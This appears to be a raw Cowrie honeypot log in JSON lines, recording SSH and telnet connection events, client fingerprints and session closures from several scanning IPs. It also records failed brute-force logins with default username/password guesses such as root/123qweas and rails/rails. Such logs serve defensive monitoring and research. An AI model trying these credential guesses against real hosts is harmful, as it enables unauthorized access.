{"eventid":"cowrie.session.closed","duration":24.35658049583435,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:02.133296Z","src_ip":"152.42.224.71","session":"ead0d8c54a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.159030437469482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:02.819389Z","src_ip":"152.42.224.71","session":"398134926f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.160848379135132,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:02.938843Z","src_ip":"152.42.224.71","session":"0417204294f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.833269119262695,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:03.321685Z","src_ip":"152.42.224.71","session":"dca393a64e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57492,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd1d2f0e9a8","protocol":"telnet","message":"New connection: 152.42.224.71:57492 (10.17.0.5:23) [session: 4fd1d2f0e9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:04.245505Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49182,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b695593f444","protocol":"telnet","message":"New connection: 152.42.224.71:49182 (10.17.0.5:23) [session: 0b695593f444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:07.251787Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"0288f72f67ec","protocol":"telnet","message":"New connection: 152.42.224.71:49184 (10.17.0.5:23) [session: 0288f72f67ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:08.581567Z"}
{"eventid":"cowrie.session.closed","duration":44.67208218574524,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:09.486355Z","src_ip":"152.42.224.71","session":"fdd7759e5ece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103817462921143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:10.705599Z","src_ip":"152.42.224.71","session":"643ddb1a427d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49196,"dst_ip":"10.17.0.5","dst_port":23,"session":"847d5213264f","protocol":"telnet","message":"New connection: 152.42.224.71:49196 (10.17.0.5:23) [session: 847d5213264f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:11.437999Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58500,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6e1a859fd52","protocol":"ssh","message":"New connection: 47.237.167.49:58500 (159.203.135.109:22) [session: d6e1a859fd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:11.573351Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":38792,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d1e8b4dcd1","protocol":"ssh","message":"New connection: 47.237.167.49:38792 (159.203.135.109:22) [session: 45d1e8b4dcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:12.019171Z"}
{"eventid":"cowrie.session.closed","duration":75.37511730194092,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:13.390061Z","src_ip":"152.42.224.71","session":"d2f43f09beb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:15.171158Z","src_ip":"47.237.167.49","session":"d6e1a859fd52","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:16.302039Z","src_ip":"47.237.167.49","session":"45d1e8b4dcd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:16.530168Z","src_ip":"47.237.167.49","session":"45d1e8b4dcd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9982e85a0305","protocol":"telnet","message":"New connection: 152.42.224.71:60176 (10.17.0.5:23) [session: 9982e85a0305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:23.619546Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"1061a4b4dd29","protocol":"telnet","message":"New connection: 152.42.224.71:60188 (10.17.0.5:23) [session: 1061a4b4dd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:25.369047Z"}
{"eventid":"cowrie.session.closed","duration":53.427687883377075,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:28.112653Z","src_ip":"152.42.224.71","session":"ac192996a5de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6fad063bcde","protocol":"telnet","message":"New connection: 152.42.224.71:44138 (10.17.0.5:23) [session: d6fad063bcde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:31.256676Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"93714da67139","protocol":"telnet","message":"New connection: 152.42.224.71:33812 (10.17.0.5:23) [session: 93714da67139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:37.097026Z"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:44.622115Z","src_ip":"47.237.167.49","session":"45d1e8b4dcd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.2723331451416,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:44.708122Z","src_ip":"152.42.224.71","session":"84f444d405dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52654,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1df01a5e70d","protocol":"ssh","message":"New connection: 103.77.242.62:52654 (159.203.135.109:22) [session: b1df01a5e70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:44.814684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:44.821148Z","src_ip":"103.77.242.62","session":"b1df01a5e70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33820,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e2ed6526b8f","protocol":"telnet","message":"New connection: 152.42.224.71:33820 (10.17.0.5:23) [session: 0e2ed6526b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:44.937327Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:45.063934Z","src_ip":"103.77.242.62","session":"b1df01a5e70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33822,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a38fd5c937","protocol":"telnet","message":"New connection: 152.42.224.71:33822 (10.17.0.5:23) [session: 06a38fd5c937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:45.220744Z"}
{"eventid":"cowrie.session.closed","duration":120.00165104866028,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:45.235480Z","src_ip":"152.42.224.71","session":"725cd4af524e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33826,"dst_ip":"10.17.0.5","dst_port":23,"session":"3094553e7e79","protocol":"telnet","message":"New connection: 152.42.224.71:33826 (10.17.0.5:23) [session: 3094553e7e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:45.487664Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nbvjatq","message":"login attempt [root/nbvjatq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:45.791446Z","src_ip":"103.77.242.62","session":"b1df01a5e70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.4","message":"Connection lost after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:46.404013Z","src_ip":"47.237.167.49","session":"45d1e8b4dcd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:47.036185Z","src_ip":"103.77.242.62","session":"b1df01a5e70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60370,"dst_ip":"10.17.0.5","dst_port":23,"session":"21160b5d1d9e","protocol":"telnet","message":"New connection: 152.42.224.71:60370 (10.17.0.5:23) [session: 21160b5d1d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:47.069863Z"}
{"eventid":"cowrie.session.closed","duration":62.52314043045044,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:50.287162Z","src_ip":"152.42.224.71","session":"dae6df798861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.01671528816223,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:53.454534Z","src_ip":"152.42.224.71","session":"847d5213264f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.879330158233643,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:53.976247Z","src_ip":"152.42.224.71","session":"93714da67139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60380,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b40a3f5cb5","protocol":"telnet","message":"New connection: 152.42.224.71:60380 (10.17.0.5:23) [session: b9b40a3f5cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:55.311501Z"}
{"eventid":"cowrie.session.closed","duration":35.35838055610657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:30:58.977827Z","src_ip":"152.42.224.71","session":"9982e85a0305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95845627784729,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:02.327365Z","src_ip":"152.42.224.71","session":"1061a4b4dd29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c993f982d87","protocol":"telnet","message":"New connection: 152.42.224.71:56146 (10.17.0.5:23) [session: 1c993f982d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:07.062980Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56150,"dst_ip":"10.17.0.5","dst_port":23,"session":"630669ad4798","protocol":"telnet","message":"New connection: 152.42.224.71:56150 (10.17.0.5:23) [session: 630669ad4798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:15.183863Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44408,"dst_ip":"10.17.0.5","dst_port":23,"session":"91207f026b42","protocol":"telnet","message":"New connection: 152.42.224.71:44408 (10.17.0.5:23) [session: 91207f026b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:16.204554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44420,"dst_ip":"10.17.0.5","dst_port":23,"session":"025b499bc9a2","protocol":"telnet","message":"New connection: 152.42.224.71:44420 (10.17.0.5:23) [session: 025b499bc9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:17.436595Z"}
{"eventid":"cowrie.session.closed","duration":49.47947406768799,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:20.736017Z","src_ip":"152.42.224.71","session":"d6fad063bcde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":46758,"dst_ip":"10.17.0.5","dst_port":22,"session":"49fd22ca50a2","protocol":"ssh","message":"New connection: 167.86.95.8:46758 (10.17.0.5:22) [session: 49fd22ca50a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:23.055113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:23.059958Z","src_ip":"167.86.95.8","session":"49fd22ca50a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:23.162239Z","src_ip":"167.86.95.8","session":"49fd22ca50a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rails","password":"rails","message":"login attempt [rails/rails] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:23.581473Z","src_ip":"167.86.95.8","session":"49fd22ca50a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.73010969161987,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:24.217658Z","src_ip":"152.42.224.71","session":"3094553e7e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:24.688384Z","src_ip":"167.86.95.8","session":"49fd22ca50a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.92738652229309,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:29.238749Z","src_ip":"152.42.224.71","session":"b9b40a3f5cb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49474,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77a93d90dc5","protocol":"telnet","message":"New connection: 152.42.224.71:49474 (10.17.0.5:23) [session: b77a93d90dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:33.641077Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34678,"dst_ip":"159.203.135.109","dst_port":22,"session":"2313050691b1","protocol":"ssh","message":"New connection: 103.195.236.96:34678 (159.203.135.109:22) [session: 2313050691b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:35.809048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:35.813892Z","src_ip":"103.195.236.96","session":"2313050691b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:36.054865Z","src_ip":"103.195.236.96","session":"2313050691b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b4ffd9995d","protocol":"telnet","message":"New connection: 152.42.224.71:49198 (10.17.0.5:23) [session: 97b4ffd9995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:36.415394Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweas","message":"login attempt [root/123qweas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:36.772977Z","src_ip":"103.195.236.96","session":"2313050691b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49208,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a8f67f2ca7","protocol":"telnet","message":"New connection: 152.42.224.71:49208 (10.17.0.5:23) [session: 88a8f67f2ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:37.988294Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:38.037135Z","src_ip":"103.195.236.96","session":"2313050691b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.582651138305664,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:39.803249Z","src_ip":"152.42.224.71","session":"06a38fd5c937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.21156668663025,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:42.148765Z","src_ip":"152.42.224.71","session":"0e2ed6526b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09504222869873,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:42.157907Z","src_ip":"152.42.224.71","session":"1c993f982d87","protocol":"telnet"}
